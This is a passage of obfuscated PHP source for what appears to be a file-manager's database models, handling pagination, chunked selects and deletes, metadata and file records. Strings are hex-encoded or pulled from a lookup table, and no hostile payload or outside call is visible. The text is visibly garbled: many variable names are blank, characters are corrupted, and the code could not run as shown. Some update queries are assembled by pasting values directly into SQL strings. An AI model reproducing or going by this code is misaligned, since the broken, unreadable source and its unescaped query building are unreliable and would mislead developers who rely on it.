=& $_SERVER[砐]; if (!$this->checkDataAutoHas($ն[401])) { return; } $this->dataBeforeFilter($, $ն[401]); } protected function _beforeUpdate(&$Ȱ, $ׄ) { $ڥȜ =& $_SERVER[砐]; if (!$this->checkDataAutoHas($ڥȜ[402])) { return; } $this->dataBeforeFilter($Ȱ, $ڥȜ[402]); } protected function _afterSelect(&$頌, $߅Ԋ) { if (!is_array($頌)) { return; } if (!$this->checkDataAutoHas($_SERVER[砐][403])) { return; } foreach ($頌 as &$ۻ̴) { $this->dataAfterFilter($ۻ̴); } unset($ۻ̴); } protected function _afterFind(&$Ĺ, $) { if (!is_array($Ĺ)) { return; } if (!$this->checkDataAutoHas($_SERVER[砐][403])) { return; } $this->dataAfterFilter($Ĺ); } public static function textEncode($ށ) { if (!$ށ) { return $ށ; } $͒ = json_encode($ށ); $͒ = preg_replace_callback($_SERVER[砐][404], function ($) { return addslashes($[0]); }, $͒); return json_decode($͒); } public static function textDecode($) { $Қ =& $_SERVER[砐]; $ӿ = json_encode($); $ӿ = preg_replace_callback($Қ[405], function ($LJ) { return $_SERVER[砐][99]; }, $ӿ); return json_decode($ӿ); } public function setAutoIncrement($ְ㱔) { $ = array($this->getPk() => $ְ㱔); $ݳ = $this->data($)->add(); if ($ݳ) { $this->delete($ݳ); } } public function getAutoIncrement() { $ = $this->getTableName(); $ʅ = $this->max($this->getPk()); $Ģ = $this->query("\163\x68\x6f\167\40\x74\x61\142\x6c\145\x20\163\x74\141\164\x75\x73\x20\x77\x68\x65\x72\x65\40\116\141\155\145\x3d\47{$}\x27"); $☈Ɩ = $Ģ[0][$_SERVER[砐][406]]; $ = max($ʅ, $☈Ɩ); return $; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($ݞ, $) { return $this->cacheCallCheck($ݞ, $, !0); } protected function cacheFunctionAlias($扥) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($月, $, $ۮ¿ = false) { $į = $this->cacheFunctionAlias($); if (!$į) { return; } foreach ($į as $鯛 => $) { $ = $[0]; $ëм = explode($_SERVER[砐][50], $[1]); if ($月 == $鯛) { return $this->cacheFunctionGet($鯛, $); } if ($ۮ¿ && in_array($月, $ëм)) { $this->cacheFunctionClear($鯛, $); } } } public function cacheFunctionGet($ֱ, $߰) { $ʝ = $this->cacheKeyMake($ֱ, $߰); $ѷ = Cache::get($ʝ); if (!is_array($ѷ)) { $ѷ = call_user_func_array(array($this, $ֱ), array($߰, !0)); Cache::set($ʝ, $ѷ); } return $ѷ; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($א, $) { $עޅ =& $_SERVER[砐]; return get_class($this) . $עޅ[11] . $א . $עޅ[407] . $; } protected function selectPageReset() { $у =& $_SERVER[砐]; if (isset($GLOBALS[$у[408]])) { return; } $GLOBALS[$у[408]] = isset($GLOBALS[$у[7]][$у[409]]) ? $GLOBALS[$у[7]][$у[409]] : !1; $GLOBALS[$у[410]] = isset($GLOBALS[$у[7]][$у[399]]) ? $GLOBALS[$у[7]][$у[399]] : !1; $GLOBALS[$у[7]][$у[409]] = !1; $GLOBALS[$у[7]][$у[399]] = !1; } protected function selectPageRestore() { $ɼ =& $_SERVER[砐]; if (!isset($GLOBALS[$ɼ[408]])) { return; } $GLOBALS[$ɼ[7]][$ɼ[409]] = $GLOBALS[$ɼ[408]]; $GLOBALS[$ɼ[7]][$ɼ[399]] = $GLOBALS[$ɼ[410]]; if ($GLOBALS[$ɼ[7]][$ɼ[409]] === !1) { unset($GLOBALS[$ɼ[7]][$ɼ[409]]); } if ($GLOBALS[$ɼ[7]][$ɼ[399]] === !1) { unset($GLOBALS[$ɼ[7]][$ɼ[399]]); } unset($GLOBALS[$ɼ[408]]); unset($GLOBALS[$ɼ[410]]); } protected function selectPage($ = 200, $ج = 1) { $ =& $_SERVER[砐]; global $in; $ = $this->optionsValue(); $Ѵ = 50000; $ = isset($in[$[409]]) && $in[$[409]] ? $in[$[409]] : $; if ($ === -1) { $in[$[409]] = !1; $Ѵ = 100000000; $ = $Ѵ; } $ = $; $[$[411]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $Ѵ ? $Ѵ : $); $ج = intval(isset($in[$[399]]) && $in[$[399]] ? $in[$[399]] : $ج); $ج = $ج <= 1 ? 1 : $ج; $҈ڵ = array(); $Ǣ = 1; if ($ج == 1 && $Ǣ) { $this->optionsValue($); $҈ڵ = $this->page($ج, $)->select(); $Ϳ = is_array($҈ڵ) ? count($҈ڵ) : 0; if ($Ϳ < $) { $DZ = 1; } else { $this->optionsValue($); $Ϳ = intval($this->count()); $DZ = ceil($Ϳ / $); } } else { $this->optionsValue($); $Ϳ = intval($this->count()); $DZ = ceil($Ϳ / $); $ج = $ج >= $DZ ? $DZ : $ج; $this->optionsValue($); $҈ڵ = $this->page($ج, $)->select(); } if (!is_array($҈ڵ)) { $҈ڵ = array(); } if ($DZ == 1) { $Ϳ = count($҈ڵ); } $١ = array($[412] => array($[413] => $Ϳ, $[409] => $, $[399] => $ج, $[414] => $DZ), $[415] => $҈ڵ); return $١; } protected function checkLength($, $Ʋ = 0, $ = '') { $ɲ͊ =& $_SERVER[砐]; $Ʋ = $Ʋ ? $Ʋ : 65536; if (!$ || strlen($) < $Ʋ) { return; } $ = $ ? $ . $ɲ͊[73] : $ɲ͊[12]; show_json($ . LNG($ɲ͊[416]) . "\50{$Ʋ}\x29", !1); } protected function metaSet($󴹿, $ԥ = null, $ = null) { $ =& $_SERVER[砐]; if (!$this->tableMeta || !$󴹿) { return !1; } $ۊ = $this->tableMeta[$[417]]; $ = $this->tableMeta[$[418]]; $ۯ = Model($); $ = array($ۊ => $󴹿, $[419] => $ԥ); if (is_null($ԥ)) { return $ۯ->where(array($ۊ => $󴹿))->delete(); } if (is_null($) && is_string($ԥ)) { return $ۯ->where($)->delete(); } $Ҍ = is_array($ԥ) ? $ԥ : array(); if (is_string($ԥ)) { $Ҍ[$ԥ] = $; } $μ = array(); foreach ($Ҍ as $ => $) { if (is_null($) && is_string($)) { $ۯ->where(array($ۊ => $󴹿, $[419] => $))->delete(); continue; } $this->checkLength($, !1, $ . $[4] . $); $μ[] = array($ۊ => $󴹿, $[96] => $, $[420] => $); } $ܘ = $[421] . $; CacheLock::lock($ܘ); $ۯ->where(array($ۊ => $󴹿))->addAll($μ, array(), !0); CacheLock::unlock($ܘ); return !0; } public function metaGet($׭, $ˠ = false) { $ù =& $_SERVER[砐]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$ù[417]]; $ = Model($this->tableMeta[$ù[418]]); if ($ˠ) { $ᅎ = array($ => $׭, $ù[96] => $ˠ); return $->where($ᅎ)->getField($ù[420]); } $ᅎ = array($ => $׭); $ = $->field($ù[422])->where($ᅎ)->select(); $ = array_to_keyvalue($, $ù[96], $ù[420]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $ힱ) { if (in_array($, explode($_SERVER[砐][50], $ힱ[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$뗆, $) { $ےž =& $_SERVER[砐]; if (!is_array($뗆)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($, explode($ےž[50], $[2]))) { continue; } switch (trim($[3])) { case $ےž[367]: case $ےž[368]: $ぁ = $[1]; $󂛿 = isset($[4]) ? (array) $[4] : array(); if ($ぁ == $ےž[196] && array_key_exists($, $뗆)) { if (!$뗆[$]) { unset($뗆[$]); } break; } if (isset($뗆[$])) { array_unshift($󂛿, $뗆[$]); } if ($ےž[367] == $[3]) { $뗆[$] = call_user_func_array($ぁ, $󂛿); } else { $뗆[$] = call_user_func_array(array(&$this, $ぁ), $󂛿); } break; case $ےž[316]: if (isset($뗆[$]) && $뗆[$]) { $뗆[$] = call_user_func_array(array(&$this, $[1]), array($뗆[$])); } break; case $ےž[319]: $뗆[$] = $뗆[$[1]]; break; case $ےž[340]: if (isset($뗆[$]) && !is_string($뗆[$])) { $뗆[$] = json_encode_force($뗆[$]); } break; case $ےž[369]: if ($뗆[$] === $ےž[12]) { unset($뗆[$]); } break; case $ےž[370]: $뗆[$] = $[1]; default: break; } } if ($ == $ےž[401]) { $ = strtolower($this->db->getDbType()); if (strpos($, $ےž[13]) !== 0) { return; } $ = $this->field(!0)->fields; $뫝 = $[$ےž[298]]; if (isset($[$ےž[297]])) { unset($뫝[$[$ےž[297]]]); } foreach ($뫝 as $ܐ => $) { if (!isset($뗆[$ܐ])) { $뗆[$ܐ] = $ےž[12]; } } } } private function dataAfterFilter(&$̦) { $ƹ =& $_SERVER[砐]; foreach ($this->dataAuto as $Ƅ) { $Ƕ = $Ƅ[0]; if (!isset($̦[$Ƕ])) { continue; } if (!in_array($ƹ[403], explode($ƹ[50], $Ƅ[2]))) { continue; } switch (trim($Ƅ[3])) { case $ƹ[367]: case $ƹ[368]: $𻠧 = isset($Ƅ[4]) ? (array) $Ƅ[4] : array(); array_unshift($𻠧, $̦[$Ƕ]); if (isset($Ƅ[4]) && $Ƅ[4] == $ƹ[423]) { $𻠧 = array($̦[$Ƕ]); } if ($ƹ[367] == $Ƅ[3]) { $̦[$Ƕ] = call_user_func_array($Ƅ[1], $𻠧); } else { $̦[$Ƕ] = call_user_func_array(array(&$this, $Ƅ[1]), $𻠧); } break; case $ƹ[316]: if (isset($̦[$Ƕ]) && $̦[$Ƕ]) { $̦[$Ƕ] = call_user_func_array(array(&$this, $Ƅ[1]), array($̦[$Ƕ])); } break; case $ƹ[319]: $̦[$Ƕ] = $̦[$Ƅ[1]]; break; case $ƹ[340]: $ = $̦[$Ƕ]; $̦[$Ƕ] = json_decode($, !0); if (is_null($̦[$Ƕ])) { $̦[$Ƕ] = $; } break; case $ƹ[369]: if ($̦[$Ƕ] === $ƹ[12]) { unset($̦[$Ƕ]); } break; case $ƹ[370]: $̦[$Ƕ] = $Ƅ[1]; break; default: break; } } } public function saveAll($) { $IJ =& $_SERVER[砐]; $񸼔 = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ = $IJ[424]; $ޏ = 0; $ = array(); $س = count($); for ($ܳ = 0; $ܳ < $س; $ܳ++) { $ڗ = $[$ܳ]; if (!is_array($ڗ) || count($ڗ) != 4) { continue; } $׬ܧ = "\125\x50\104\x41\x54\x45\40\x60{$񸼔}\x60\40\x53\105\x54\40{$ڗ[2]}\40\x3d\x20\103\x41\123\x45\40{$ڗ[0]}\40\12"; if ($ޏ == 0) { $ = $׬ܧ; } $[] = $IJ[120] . $ڗ[1] . $IJ[120]; $ޏ++; $ .= "\40\127\110\105\116\x20\x27{$ڗ[1]}\x27\x20\x54\110\105\116\x20\47{$ڗ[3]}\47\40\xa"; if ($ޏ == $ || $ܳ == $س - 1) { $̬ = implode($IJ[50], $); $ .= "\40\105\x4e\104\x20\40\127\110\105\x52\105\x20{$ڗ[0]}\40\111\116\x20\50{$̬}\51\x20"; $this->execute($); $ޏ = 0; $ = $׬ܧ; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $§ =& $_SERVER[砐]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $̚ޫ) { if (!is_array($̚ޫ) || count($̚ޫ) != 4) { continue; } $ = $̚ޫ[0] . $§[425] . $̚ޫ[1] . $§[120]; $ = $̚ޫ[2] . $§[425] . $̚ޫ[3] . $§[120]; $ = "\165\160\144\x61\164\145\40{$}\x20\163\145\x74\x20{$}\x20\x77\150\145\162\x65\x20{$}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($֭ = false, $Æ = false) { $this->_chunkEvent = $֭; $this->_chunkEventParam = $Æ; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $֋ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $֋[$_SERVER[砐][426]] = $; Hook::trigger($this->_chunkEvent, $֋); } public function addAll($ޫ, $ʟ = array(), $݄ = false) { $ =& $_SERVER[砐]; ignore_timeout(); $Ґ = self::SQL_WHERE_IN_CHUNK; if (empty($ޫ)) { $this->error = think_lang($[317]); return !1; } $ʟ = $this->_parseOptions($ʟ); foreach ($ޫ as $х => $ҭ) { $ޫ[$х] = $this->_facade($ҭ); $this->_beforeInsert($ޫ[$х], $ʟ); } if (method_exists($this->db, $[318])) { for ($ۂ = 0; $ۂ < count($ޫ); $ۂ += $Ґ) { $߬ = array_slice($ޫ, $ۂ, $Ґ); if (!is_array($߬) || count($߬) == 0) { break; } $ = $this->db->insertAll($߬, $ʟ, $݄); $this->chunkEventCheck(count($߬)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ޫ as $х => $ҭ) { $ = $this->db->insert($ҭ, $ʟ, $݄); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ʡ = '', $ = array()) { $̑ =& $_SERVER[砐]; $ؖՊ = self::SQL_WHERE_IN_CHUNK; $̒ = $this->optionsValue(); $ = $this->findWhereField($̒); if (!$) { return parent::save($ʡ, $); } $͊ = 0; $ފ = $̒[$̑[321]][$][1]; $ފ = is_array($ފ) ? $ފ : array(); $ = count($ފ); for ($ = 0; $ < $; $ += $ؖՊ) { $ĕ = array_slice($ފ, $, $ؖՊ); if (!is_array($ĕ) || count($ĕ) == 0) { break; } $̒[$̑[321]][$][1] = $ĕ; $this->optionsValue($̒); $͊ += parent::save($ʡ, $); $this->chunkEventCheck(count($ĕ)); } $this->chunkEventSet(); return $͊; } public function add($ = '', $ة = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $ة, $); } public function parseWhereLike($ո, $ = '', $ژ = false, &$ = false) { $ =& $_SERVER[砐]; $ȹ = $GLOBALS[$[6]][$[427]]; if (!$ȹ[$[428]]) { return $ո; } if (!is_array($ո)) { return $ո; } $˻ = array(); $ֶ = 0; foreach ($ո as $ => $) { if (is_array($) && count($) == 2 && $[0] == $[429] && is_string($[1]) && substr($[1], 0, 1) == $[430] && substr($[1], strlen($[1]) - 1, 1) == $[430]) { $ = !0; $ӭ = is_string($) ? $ : $; $ = substr($[1], 1, strlen($[1]) - 2); $ = $this->db->escapeString($); if (!strpos($ӭ, $[10])) { $ӭ = $[431] . $ӭ . $[431]; } $ֆϑڏ = $[205] . $ . $[205]; $ = str_replace(array($[10], $[432], $[11]), $[433], $); if ($ȹ[$[434]]) { $ֆϑڏ = $[435] . $ . $[436]; if ($ȹ[$[437]]) { $ֆϑڏ = $[436] . $ . $[435]; } } $˻[$ֶ] = $[438] . $ӭ . $[439] . $ֆϑڏ . $[440]; $ֶ++; continue; } if (is_array($)) { $ = is_string($) ? $ : $; $ = $this->parseWhereLike($, $, !0, $); } if (is_numeric($)) { $˻[$ֶ] = $; $ֶ++; } else { $˻[$] = $; } } if ($ && !$ژ) { } return $˻; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($¨ǷĮ = array()) { $ =& $_SERVER[砐]; $ = self::SQL_WHERE_IN_CHUNK; $ߩ = $this->optionsValue(); $ƞ˙ = $this->findWhereField($ߩ); if (!$ƞ˙ || isset($ߩ[$[338]]) || isset($ߩ[$[399]])) { return parent::select($¨ǷĮ); } $큯 = $ߩ[$[321]][$ƞ˙][1]; $큯 = is_array($큯) ? $큯 : array(); $ = null; for ($ = 0; $ < count($큯); $ += $) { $ = array_slice($큯, $, $); if (!is_array($) || count($) == 0) { break; } $ߩ[$[321]][$ƞ˙][1] = $; $this->optionsValue($ߩ); $· = parent::select($¨ǷĮ); if (!$·) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $·); } return $; } public function delete($эƕ = array()) { $ =& $_SERVER[砐]; $ؖ = self::SQL_WHERE_IN_CHUNK; $㓯 = $this->optionsValue(); $نً = $this->findWhereField($㓯); if (!$نً) { return parent::delete($эƕ); } $۶ = 0; $Ҳ͹ = $㓯[$[321]][$نً][1]; $Ҳ͹ = is_array($Ҳ͹) ? $Ҳ͹ : array(); for ($嘭 = 0; $嘭 < count($Ҳ͹); $嘭 += $ؖ) { $Ǡ = array_slice($Ҳ͹, $嘭, $ؖ); if (!is_array($Ǡ) || count($Ǡ) == 0) { break; } $㓯[$[321]][$نً][1] = $Ǡ; $this->optionsValue($㓯); $۶ += parent::delete($эƕ); } return $۶; } private function findWhereField($) { $ =& $_SERVER[砐]; $ү = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$[321]])) { return !1; } foreach ($[$[321]] as $ݎ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $ү) { ignore_timeout(); return $ݎ; } } return !1; } public function setMasterDB($ѕ⥌ = true) { think_config($_SERVER[砐][441], $ѕ⥌); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\163\x74\145\x6d\x4f\x70\164\151\157\156"; public $field = array(); public function listData($ = false, $ = "\x6d\x6f\144\x69\x66\171\124\x69\x6d\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[砐][442] . $]; } public function insert($Ϊێ) { $ܼ =& $_SERVER[砐]; $Ϊێ = array_field_key($Ϊێ, $this->field); $ = Model($this->modelType)->get($ܼ[443], $this->optionType . $ܼ[444]); $ = $ ? $ : 0; $Ϊێ[$ܼ[445]] = ++$; $Ϊێ[$ܼ[217]] = time(); $Ϊێ[$ܼ[87]] = time(); Model($this->modelType)->set($ܼ[443], $, $this->optionType . $ܼ[444]); Model($this->modelType)->set($ܼ[442] . $, $Ϊێ, $this->optionType); return $; } public function update($, $ݥ) { $筑 =& $_SERVER[砐]; $ݥ = array_field_key($ݥ, $this->field); $ڦ = $this->listData($); if (!$ڦ || !$) { return !1; } $ݥ = array_merge($ڦ, $ݥ); $ݥ[$筑[87]] = time(); return Model($this->modelType)->set($筑[442] . $, $ݥ, $this->optionType); } public function remove($޲) { if (!$޲) { return !1; } return Model($this->modelType)->remove($_SERVER[砐][442] . $޲, $this->optionType); } public function clear() { $ =& $_SERVER[砐]; Model($this->modelType)->remove($[443], $this->optionType . $[444]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($˅չ, $) { if (!$) { return !1; } $䫝 = $this->listData(); $䫝 = array_to_keyvalue($䫝, $˅չ); return isset($䫝[$]) ? $䫝[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[砐][32], $); } protected function resetData($) { $ =& $_SERVER[砐]; $ = is_array($) ? $ : array(); $ = array(); for ($Ⱥ = 0; $Ⱥ < count($); $Ⱥ++) { $[$[442] . $[$Ⱥ][$[445]]] = $[$Ⱥ]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $Ӡ = array_to_keyvalue($this->listData(), $_SERVER[砐][32]); if (!$Ӡ || !isset($Ӡ[$])) { return $; } for ($ = 1; $ < count($Ӡ); $++) { $ό = $ . "\x28{$}\51"; if (!isset($Ӡ[$ό])) { return $ό; } } return $ό; } } goto F; DƞѬ: class FileModel extends ModelBase { protected $tableName = "\151\157\x5f\146\x69\154\x65"; protected $tableMeta = array("\x74\141\x62\154\x65\116\141\155\x65" => "\151\x6f\x5f\146\x69\x6c\x65\x5f\155\x65\x74\x61", "\155\145\x74\x61\106\151\145\x6c\x64" => "\146\151\x6c\x65\x49\x44"); public function fileInfo($Ϯ) { $Ү =& $_SERVER[砐]; static $ܑ = array(); if (!isset($ܑ[$Ϯ])) { $ = $Ү[1953]; $Ϳة = Model($Ү[514])->field($)->where(array($Ү[512] => $Ϯ))->find(); $ܑ[$Ϯ] = $Ϳة; } return $ܑ[$Ϯ]; } public function addFileByContent($čݷ = '', $ưі = '') { $۪茟 =& $_SERVER[砐]; $ = TEMP_PATH . $۪茟[1954]; if (!is_dir($)) { mk_dir($); } $² = $ . $۪茟[1955] . rand_string(16); file_put_contents($², $čݷ); $ߣ = $this->addFile($², $ưі, !0); if (file_exists($²)) { @unlink($²); } return $ߣ; } public function createFileName($ݯ, $ = false, $༕ = false) { $ڪ =& $_SERVER[砐]; $غ = IO::init($ڪ[8]); $à = $this->makeFilePath($ݯ, $غ, $, $༕); $Ά = $غ->pathFather($Ã); static $ = false; $ = $ڪ[1956] . md5($Ά); if (!$ && !Cache::get($)) { $ = !0; $Ӯ = IO::mkdir($Ά); if (!IO::exist($Ӯ . $ڪ[842])) { IO::mkfile($Ӯ . $ڪ[842]); } Cache::set($, 1, 3600 * 2); } return $Ã; } public function makeFilePath($˘Ķ, $Ĭ, $ޖ = false, $ = false) { $Ѻ =& $_SERVER[砐]; $Զ = Model($Ѻ[815])->get($Ѻ[1957]); $ԛ = KodIO::defaultIO() . date($Ѻ[1958]); $Ԅ = $ԛ . rand_string(5) . short_id(100); $˘Ķ = str_replace($Ѻ[8], $Ѻ[11], KodIO::clear($˘Ķ)); $ = $Ĭ->ext($˘Ķ); if (!$˘Ķ) { $Զ = $Ѻ[1959]; } switch ($Զ) { case $Ѻ[1960]: $Ԅ = $Ԅ . $Ѻ[10] . $Ĭ->ext($˘Ķ); if ($ == $Ѻ[1897]) { $Ԅ .= $Ѻ[1257]; } break; case $Ѻ[1961]: $ׄʢ = Model($Ѻ[815])->get($Ѻ[816]); $܁Ƿ = substr(md5($Ѻ[817] . $ׄʢ . date($Ѻ[793])), 0, 8); $󣶥 = KodIO::defaultDriver(); $ԛ = $Ѻ[1288] . $󣶥[$Ѻ[445]] . $Ѻ[454] . date($Ѻ[1962]) . $܁Ƿ . $Ѻ[8]; if ($ == $Ѻ[1897]) { $˘Ķ .= $Ѻ[1257]; } $ҥ = $Ѻ[1963] . $ԛ . $˘Ķ; CacheLock::lock($ҥ); $Ԅ = $ԛ . $˘Ķ; if (IO::exist($ԛ . $˘Ķ)) { $ = substr($˘Ķ, 0, strlen($˘Ķ) - strlen($)); $ = $ ? substr($, 0, 5) : ($ޖ ? substr($ޖ, 0, 5) : rand_string(5)); $Ԅ = $ԛ . $ . $ . $Ѻ[10] . $; } if (IO::isTypeObject($Ԅ) && !IO::isUploadServer($Ԅ)) { if (IO::exist($Ԅ)) { return $Ԅ; } $ = IO::setContent($Ԅ, $Ѻ[12]); if (!$) { show_json($Ѻ[1964], !1); } } CacheLock::unlock($ҥ); break; case $Ѻ[1959]: break; default: break; } return $Ԅ; } public function addFileByRemote($Ҍ޳, $ԡ, $ = array()) { $⍛ =& $_SERVER[砐]; if (!IO::exist($Ҍ޳)) { return !1; } $ = $[$⍛[517]] ? $[$⍛[517]] : $⍛[12]; $ = IO::hashMd5($Ҍ޳, $); $ӵ = KodIO::defaultDriver(); $ø = array($⍛[587] => IO::size($Ҍ޳), $⍛[1965] => 1, $⍛[464] => $ԡ, $⍛[853] => $ӵ[$⍛[445]], $⍛[465] => $Ҍ޳, $⍛[1966] => $[$⍛[642]] ? $[$⍛[642]] : IO::hashSimple($Ҍ޳), $⍛[1967] => $ ? $ : $); if ($ћ = $this->addFileCheckExist($ø[$⍛[642]], $ø[$⍛[517]], $ø[$⍛[78]])) { return $ћ; } return $this->addFileData($ø); } private function addFileData($) { $족 =& $_SERVER[砐]; if (!$) { return !1; } $[$족[78]] = intval($[$족[78]]); if (!$[$족[78]] && strlen($[$족[642]]) > 32) { $[$족[78]] = intval(substr($[$족[642]], 32)); } $ℸ = $this->add($); return $this->find($ℸ); } public function addFile($, $, $̲ = false) { $ϰ =& $_SERVER[砐]; $͙ = IO::hashSimple($); $ = IO::size($); $ᆰ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $ϰ[12]; $̪ = $ϰ[1968] . $͙; CacheLock::lock($̪); if ($ᆰ && $͙) { $ = $this->addFileCheckExist($͙, $ᆰ, $); if ($) { CacheLock::unlock($̪); return $; } } $ = $this->addFileMake($, $, $͙, $ᆰ, $, $̲); $ = $this->addFileData($); CacheLock::unlock($̪); if (!$ᆰ && $) { $this->fileMd5Check($); } return $; } public function fileMd5Check($ҿ) { $ӷњ =& $_SERVER[砐]; $ޝܶ = array($ҿ[$ӷњ[511]], $ҿ[$ӷњ[86]]); $ƾ = $ӷњ[1969] . $ҿ[$ӷњ[86]]; $DŽɥ = $ӷњ[1970] . $ҿ[$ӷњ[511]]; TaskQueue::add($ӷњ[1971], $ޝܶ, $ƾ, $DŽɥ); } public function fileMd5Set($, $޸) { $ =& $_SERVER[砐]; $ߙ = $this->find($); if (!$ߙ || $ߙ[$[517]]) { return; } $ŸՓ = IO::hashMd5($޸); if (!$ŸՓ) { return $[12]; } $this->where(array($[511] => $))->save(array($[517] => $ŸՓ)); } public function addFileMake($ґ, $Ϟ, $ڢٻ, $, $, $) { $Ԗ =& $_SERVER[砐]; $䖀 = $this->createFileName($, $ڢٻ, $); $͘ = get_path_father($䖀); $ڂ = get_path_this($䖀); if ($) { $ۙȫ = IO::move($ґ, $͘, !1, $ڂ); } else { $ۙȫ = IO::copy($ґ, $͘, !1, $ڂ); } if (!$ۙȫ) { return !1; } $؞ = KodIO::defaultDriver(); $ڱ = array($Ԗ[587] => $Ϟ, $Ԗ[1965] => 1, $Ԗ[464] => $, $Ԗ[853] => $؞[$Ԗ[445]], $Ԗ[465] => $䖀, $Ԗ[1966] => $ڢٻ, $Ԗ[1967] => $); return $ڱ; } public function addFileCheckExist($󝳾, $, $) { $ =& $_SERVER[砐]; $ޜ = $this->findByHash($󝳾, $); if (!$ޜ) { return !1; } $煍Ď = array($[1965] => intval($ޜ[$[1972]]) + 1, $[587] => $); $this->where(array($[512] => $ޜ[$[511]]))->save($煍Ď); return $ޜ; } public function remove($揰) { $this->linkCountChange($揰, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $ê) { $܅ =& $_SERVER[砐]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $) { $ = $ . $܅[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ = array(); foreach ($ as $ => $̯) { $ = $̯ . $܅[12]; if (!$[$]) { $[$] = array(); } $[$][] = $; } foreach ($ as $̯ => $) { if (!$) { continue; } $̯ = $ê ? $̯ : -intval($̯); $ = array($܅[511] => array($܅[7], $)); if ($̯ < 0) { $[$܅[1972]] = array($܅[1066], abs($̯)); } $this->where($)->setAdd($܅[1972], $̯); } } public function findByHash($ɅŜ, $Ҝ = false) { $ʞ =& $_SERVER[砐]; if (!$ɅŜ && !$Ҝ) { return !1; } $ԉ = array($ʞ[1966] => $ɅŜ); if ($Ҝ) { $ԉ = array($ʞ[1967] => $Ҝ); } return $this->order($ʞ[1973])->where($ԉ)->find(); } public function clearEmpty($ = 0) { $ܒ =& $_SERVER[砐]; $ݏݦ = time() - 3600 * 24 * $; $ = $ܒ[1974] . $ݏݦ; $萦 = $this->where($)->select(); if (!$萦) { return; } $ = new Task($ܒ[1975], $ܒ[12], count($萦)); foreach ($萦 as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $똓 =& $_SERVER[砐]; $ = array($똓[512] => $[$똓[511]]); $ = Model($똓[1384])->where($)->count(); $螚 = Model($똓[1976])->where($)->count(); $ތ = intval($) + intval($螚); if ($ތ == 0) { IO::remove($[$똓[86]]); Model($똓[1977])->delete($[$똓[511]]); $this->where($)->delete(); $this->metaSet($[$똓[511]], null, null); return; } if ($[$똓[1972]] != $ތ) { $this->where($)->save(array($똓[1965] => $ތ)); } } public function storageInfo($ۅ = false) { $ŷ =& $_SERVER[砐]; $б = $this->count() + 0.0; $߸ = 0; $ֱ = 1; $ = 0; $ޞډǯ = 5000; for ($ȯ = 0; $ȯ < $б; $ȯ = $ȯ + $ޞډǯ) { $ɹ˲ = $this->limit($ȯ, $ȯ + $ޞډǯ)->select(); foreach ($ɹ˲ as $ǂ) { $ֱ += $ǂ[$ŷ[78]] * $ǂ[$ŷ[1972]]; $߸ += $ǂ[$ŷ[78]] * ($ǂ[$ŷ[1972]] - 1); $ += $ǂ[$ŷ[1972]]; } } $Ħ = array($ŷ[1978] => $ֱ, $ŷ[1979] => $߸, $ŷ[1980] => $߸ / $ֱ, $ŷ[82] => $б, $ŷ[1981] => $); return $Ħ; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\x74\141\142\x6c\x65\116\141\155\145" => "\147\x72\157\165\x70\x5f\155\145\x74\141", "\x6d\x65\x74\x61\106\151\x65\154\x64" => "\147\x72\157\165\x70\x49\104"); protected function cacheFunctionAlias($橼) { $ =& $_SERVER[砐]; return array($[1982] => array($橼[0], $[1983]), $[1984] => array($橼[0], $[1985])); } protected function getInfo($·, $ = false) { $ȥ = $this->getInfoSimple($·); if (!$ȥ) { return !1; } if ($) { return $this->_listDataApplyItem($ȥ); } return $this->cacheFunctionGet($_SERVER[砐][1986], $·); } protected function getInfoSimple($ę, $̼ = false) { $̟ =& $_SERVER[砐]; if ($̼) { $ܶ = array($̟[1904] => intval($ę)); $š = $this->where($ܶ)->find(); return is_array($š) ? $š : array(); } return 